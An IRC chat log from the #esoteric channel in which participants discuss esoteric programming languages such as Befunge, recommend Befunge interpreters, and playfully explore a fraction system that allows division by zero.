:Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Any language with the Gregor Richards stamp of approval! :P < 1267556966 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Hahah. < 1267556982 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Glass is basically the object-lambda calculus. < 1267556991 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, pretty much. < 1267556996 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But with classes. < 1267556996 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Damn, esolangs've been around for a damn long time. < 1267557000 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sort of < 1267557002 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Also, I only mentioned it because dev_squid mentioned it first. < 1267557010 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, INTERCAL. :) < 1267557023 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hey, if Befunge is fun, I'll try it. :) < 1267557062 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Also on the "lighter" side is Kipple. < 1267557082 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :On the "heavier" side, why not try Malbolge? < 1267557084 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Oh balls, Befunge looks interesting. :D < 1267557142 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hahah! I actually read about Malbolge before; I'm looking for a challenge, but that's a little outside of the definition. That is, impossible. :) < 1267557164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Don't let cpressey seduce you < 1267557174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :He gave us so many ambiguities in the -98 spec we're still suffering :P < 1267557224 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :TWELVE YEARS LATER < 1267557308 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Not my fault that no one on the committee said "this needs to be more rigorously defined". People preferred to complain about things that really matter, like that my HTML was missing

tags. < 1267557337 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1267557352 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ooh < 1267557354 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Homespring < 1267557364 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :that was the one i couldn't remember the name of. < 1267557799 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey. < 1267557815 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[[The sequences ‘ . ’ and ‘. .’ are required to cause a causality paradox in all con- < 1267557815 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :forming implementations. As such, there are no conforming implementations.]] < 1267557834 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, Befunge is awesomesauce. Where'd you get the idea? < 1267557846 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Biota; telepathically :P < 1267557890 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hah, no. < 1267557896 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AmigaVision < 1267557899 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :and BASIC < 1267557912 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :replacing "goto 100" with an ASCII arrow pointing to line 100. < 1267557932 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And was exposed to FORTH at the time. < 1267557990 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Biota, for all I can tell, is a lot closer to what I'd call a cellular automaton, though not exactly cellular. < 1267558071 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, did you write an interpreter for Befunge, or didja just idealize it? < 1267558136 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: I wrote an interpreter for the first version (-93). Being not so much into writing specs at the time, it sort of defined the language, alongside some crude documentation. < 1267558171 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what did you write it in? < 1267558172 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :For -98 I compiled the spec with input from the Befunge mailing list at the time, and wrote a very buggy implementation based on it. < 1267558182 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Oh cool. < 1267558183 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: C (both of them.) < 1267558202 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I write all my interpreter prototypes in assembly. :) < 1267558202 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Um, it was compiled with DICE C on an Amiga 500, originally... < 1267558207 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It's tedious. :| < 1267558260 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Assembly's fun, but I tend not to implement languages in it often. I guess Shelta is one, and I did try to implement Befunge in x86 once. < 1267558277 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :"Try". LOL. < 1267558325 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, it was an implmentation of Befunge-93 that I *think* *mostly* works, but I remember it failing badly on some example sources. < 1267558353 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :The executable was only like 4K or something in size though. < 1267558367 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Yep. I remember trying to make a simple BF interpreter in x86 Asm but then failing epicly. To this day, I still don't know what I was doing wrong. >:( < 1267558381 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1267558443 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Umm...there's this guy that made a 166-byte BF compiler. < 1267558459 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :For what? < 1267558477 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Which is kittenpunchingly smaller than the 256-byte compiler by Meuller. < 1267558482 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Brainfuck. < 1267558490 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :For what /system/ X_X < 1267558497 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Linux x86. < 1267558499 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :TO WHAT END < 1267558514 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :(http://www.muppetlabs.com/~breadbox/software/tiny/bf.asm.txt) < 1267558602 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure it violates every single ELF standard in existence, but it *is* 166 bytes. < 1267558637 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, ~breadbox is <3. < 1267558642 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I love it. < 1267558652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :He also wrote the CGI INTERCAL game. < 1267558674 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html < 1267558677 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the tiniest ELF executable < 1267559087 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267559252 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, Befunge interpreter. Where? < 1267559285 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267559344 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: I dunno, there seem to be lots to choose from. I've heard a lot good about http://sourceforge.net/projects/cfunge/ < 1267559381 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You probably have to build it from that tarball, presumably that is not a problem. < 1267559452 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1267559469 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Screw you, X. < 1267559520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, Needs POSIX < 1267559525 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(but I assume that is no issue) < 1267559536 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(oh and, it doesn't do 93 really, only 98) < 1267559779 0 :Asztal!~asztal@host86-159-108-110.range86-159.btcentralplus.com JOIN :#esoteric < 1267559875 0 :MigoMipo!~migomipo@84-217-15-9.tn.glocalnet.net JOIN :#esoteric < 1267559972 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, how does Befunge handle negative numbers? < 1267560039 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Negative numbers are useless. < 1267560070 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: They're like any other numbers in the language... except negative. < 1267560086 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1267560184 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :They're stored in threes-complement < 1267560231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, that would be implementation defined < 1267560245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, befunge doesn't expose the bit representation like that < 1267560251 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(except using some optional fingerprints) < 1267560251 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION bashes AnMaster's head in with a plastic spork
< 1267560258 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, hard hat < 1267560259 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267560283 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't take a particularly hard hat to protect against a plastic spork :P < 1267560288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, true < 1267560294 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> 1 // (0 // 0) < 1267560295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0 % 0 < 1267560295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> 1 // (0 // 1) < 1267560295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 % 0 < 1267560295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> 1 // (0 // 2) < 1267560296 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :2 % 0 < 1267560296 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wat < 1267560308 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, is that % as in modulo? < 1267560313 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, % as in fraction < 1267560315 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267560317 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :As in x/y < 1267560320 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, still. that makes no sense < 1267560323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :2/0... < 1267560329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's the weirdtionals, where division by zero is perfectly acceptable because I said it is. < 1267560336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which also leads to fun things such as all 0/n being unique. < 1267560342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267560349 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The "real 0" seems to be 0/1, because (n/1)/(0/1) = n/0. < 1267560367 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Apparently (1/2)/0 = 1/0 < 1267560371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Who'da thunk it < 1267560389 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I *somehow* suspect that certain things may break if 0/2 != 0/5 and so on < 1267560394 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, mathematically < 1267560409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: My way of working is: Define something to work. Find a contradiction. Fudge things so that it's no longer a contradiction. < 1267560417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, :D < 1267560421 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm losing all sorts of properties of course, addition and multiplication don't even distribute over each other < 1267560446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, oh that follows from 0/x being allowed? < 1267560448 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267560450 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :x/0 < 1267560462 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah I was finding out the multiplicative inverse for (x/0)s < 1267560471 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1/(x/0) = swap the two sides = 0/x < 1267560475 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so (0/x)*x = 1 < 1267560480 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so we need distinct (0/x) for all x < 1267560487 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1267560496 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what is your goal with this < 1267560505 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Make division by zero work. < 1267560512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah, good luck < 1267560549 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if you actually made it work sensibly (and in a rigorous way) then you would probably get the Fields medal at least! < 1267560574 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The problem is that the resulting system is not likely to be very usable for anything < 1267560585 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Of course. < 1267560588 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Unlikely. < 1267560588 0 :BlackOut!~BlackOut@83-215-15-148.stadt.dyn.salzburg-online.at JOIN :#esoteric < 1267560591 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267560592 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Distributivity is a rather nice property < 1267560595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, depends on how you solve it < 1267560598 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Of course you can define things but since you do lose properties like distributivity of addition it's not really addition any more < 1267560598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and yes indeed < 1267560609 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And hence not very Fields-worthy, it's just another formal system < 1267560611 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267560636 0 :BlackOut!unknown@unknown.invalid PART #esoteric :? < 1267560639 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hey, alise is here. < 1267560667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeh < 1267560687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm, don't you lose distributivity somewhere in the Cayley–Dickson construction? < 1267560698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or was that one of the few properties you didn't loose? < 1267560744 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Does that mean alise is out of Britain? < 1267560750 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, yay! My first Befunge program...sort of. I modified an example. :) < 1267560754 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, http://pastie.org/850440 < 1267560755 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The problem here is that you lose distributivity over addition of fractions, not hypercomplex numbers :-P < 1267560769 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, true < 1267560776 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: No. < 1267560782 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, oh wait, this isn't even a ring any more is it? < 1267560782 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just that a bigger crisis is overriding atm. < 1267560786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ^_^ < 1267560800 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oh, a bigger crisis. Hmm. < 1267560872 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, if you managed to solve it without loosing distributivity then you would get the Fields medal I guess ;P < 1267560888 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd win the Pigs Can Fly medal because it'd be contradictory and we could derive anything. < 1267560891 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Unless you also lose associativity etc < 1267560906 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I want a Pigs Can Fly medal < 1267560913 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, me too! < 1267560932 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What do I need to do to get one? < 1267560960 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The n being irrelevant in (m/n)/0 disturbs me. < 1267560968 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267560970 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, do something that over-qualifies you for the Ig Nobel price? < 1267560992 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Meh, too much work < 1267561152 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, would you recommend (http://www.ashleymills.com/?q=befunge_applet_lite)? Most programs it's running makes it throw a "memory cell out of range" error when it hits a 'p'. < 1267561200 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Are you sure you're p'ing into the 80x25 area? < 1267561202 0 :Azstal!~asztal@host86-159-108-110.range86-159.btcentralplus.com JOIN :#esoteric < 1267561219 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you are, then I definitely wouldn't recommend it because it's buggy :-P < 1267561341 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> (1//0) < 1267561342 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 % 0 < 1267561342 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> (1//0)+(0//0) < 1267561342 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :2 % 0 < 1267561348 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, were you aware that there existed such a website as "www.quote-egnufeb-quote-greaterthan-colon-hash-comma-underscore-at.info"? < 1267561368 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The worst thing is, I'm not even sure that doesn't make sense. < 1267561386 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267561405 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, I'm pretty sure he does know as we discussed a program on there recently < 1267561408 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It makes sense if and only if it's useful or makes sense. < 1267561415 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, :D < 1267561511 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: without it I can't seem to stick to one multiplicative identity :( < 1267561546 0 :MaXo2!~dwili@esp64-1-82-243-172-27.fbx.proxad.net JOIN :#esoteric < 1267561567 0 :increnaisi!~increnais@olol.eu JOIN :#esoteric < 1267561569 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Whenever you're having trouble doing something, try proving its impossibility. < 1267561575 0 :increnaisi!unknown@unknown.invalid PART #esoteric :? < 1267561606 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, I didn't know that...anyway, I still can't find a working Befunge interpreter for Win32. < 1267561616 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Might there be an IDE? < 1267561637 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :WIN32 < 1267561638 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :GET OUT < 1267561639 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :GET < 1267561639 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OUT < 1267561646 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :We don't want your kind here. < 1267561661 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267561665 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: But I don't accept the law of the excluded middle! :P < 1267561671 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, yeah...I only keep it for the game. < 1267561671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Yes, I know, fallacy. Also: Joke.) < 1267561673 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :*games < 1267561675 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, for windows? No clue < 1267561679 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :can't help you there at all < 1267561679 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Constructivism ftw, though. < 1267561686 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Such a poor excuse :P < 1267561692 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Only recently. (I haven't been involved in Befunge in a long time. I've spent much of my recent time designing weirder, less popular languages.) < 1267561699 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Nor do I if the law of the excluded middle is "Every statement has either a proof or a disproof." < 1267561704 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, like what? < 1267561715 0 :MissPiggy!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1267561735 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: If Befunge-98 is fine, my interpreter works on Win32. < 1267561749 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: LEM = p|(p->false) < 1267561752 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which, yes. < 1267561767 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Um, it was compiled with DICE C on an Amiga 500, originally... <-- fun. And unexpected. < 1267561784 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what's the difference? < 1267561802 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you restrict yourself to the Befunge-93 instruction set: not much. < 1267561820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, SGML spaces < 1267561821 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so it's just a superset? < 1267561835 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Division by zero is defined (gives 0), SGML spaces, bigger funge-space < 1267561845 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: I said "not much" not "nothing" :-) < 1267561852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hey! ^ < 1267561861 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, solved your problem there ;) < 1267561865 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Everything >= 1998 on this page: http://catseye.tc/cpressey/languages.html < 1267561894 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: SGML spaces means that "x y" pushes the same three characters as "x y" < 1267561933 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And of course, there's the fact that due to more instructions, you can't rely on them reflecting like they did in Befunge-93. < 1267561943 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> (5//6)*(0//3) < 1267561943 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0 % 18 < 1267561972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I am not sure this means anything at all. < 1267561980 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Anyway, http://iki.fi/deewiant/befunge/ccbi.html has a binary if you're interested. < 1267561980 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Also the stack and fungespace cells have the same size. < 1267561982 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. < 1267561989 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: '93 had 8-bit fungespace. < 1267561991 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Ah yes. < 1267561994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, btw, what do you think should happen on EOF on stdout? The way I read the spec, the program should not end, but reflect < 1267562012 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, same goes for STDIN < 1267562026 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, (a/b)(c/d) = (ac)/(bd), and a/b + c/d = (ad + bc)/(bd)? < 1267562027 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Reflect sounds like saner behaviour that just bombing, for sure. < 1267562032 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*than < 1267562036 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Frac m1 n1 + Frac m2 0 = ((m1%n1) + (m2%1)) // 0 < 1267562036 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Frac m1 0 + Frac m2 n2 = Frac m2 n2 + Frac m1 0 < 1267562036 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Frac m1 n1 + Frac m2 n2 = ((m1*n2)+(n1*m2)) % (n1*n2) < 1267562040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, this means that ctrl-d doesn't kill the program of course < 1267562041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Frac m1 0 * Frac 0 n2 = m1 % n2 < 1267562041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Frac m1 n1 * Frac 0 n2 = 0 // ((n2%1)//(m1%n1)) < 1267562043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(//) :: WT -> WT -> WT < 1267562043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Frac m1 n1) // (Frac m2 n2) = (m1*n2) % (n1*m2) < 1267562051 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :In general everything should reflect, not bomb < 1267562053 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There's nothing inconsistent about treating 0/0 and its brethren that way. < 1267562053 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm not done with * < 1267562060 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or is there? < 1267562061 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yeah, then we wouldn't have any wars. < 1267562063 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well iirc you didn't catch SIGPIPE? < 1267562068 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, thanks. < 1267562073 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, augh < 1267562074 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Exactly! < 1267562086 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :World peace via Befunge. < 1267562091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hey there < 1267562091 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Might be, haven't tested. < 1267562094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, wrong url < 1267562097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you meant "http://iki.fi/matti.niemenmaa/befunge/ccbi.html" < 1267562098 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267562106 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Who knows? < 1267562116 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, see, if you forget that yourself, don't complain when I don't use the perma link :P < 1267562119 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They're equivalent, but no point in giving both alternatives on t he site. < 1267562125 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Both are permalinks. < 1267562127 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, see if those are associative, commutative, and distributive. < 1267562130 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hrrm < 1267562164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: They are not distributive. < 1267562172 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No? < 1267562173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm sacrificing that for having "coherent" division-by-zero. < 1267562178 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Uh, I don't think so... < 1267562180 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, works perfectly. Thanks. < 1267562185 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What does the failure of distributivity look like? < 1267562192 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: No problem. :-) < 1267562196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't actually remember, I've been banging this out for a whole < 1267562228 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> 0*(1//(3//0)) < 1267562228 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0 % 3 < 1267562229 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267562235 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Needs to be 1... or, wait, no. < 1267562236 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's just when I type them by hand, 